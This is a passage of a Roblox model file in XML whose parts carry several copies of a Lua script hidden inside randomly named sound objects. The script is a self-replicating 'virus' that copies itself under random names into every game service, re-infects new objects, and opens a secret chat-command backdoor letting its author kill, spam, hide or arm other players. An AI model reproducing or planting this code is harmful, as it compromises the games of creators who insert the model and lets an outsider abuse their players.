if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX721">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-184.140381</X>
								<Y>1.48005497</Y>
								<Z>-1.22271729</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX722">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">6qhwuwpa5</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX723">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">jkyu</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX724">
						<Properties>
							<float name="Health">0</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX725">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">v2p30esaa</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX726">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">m6q1bway</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
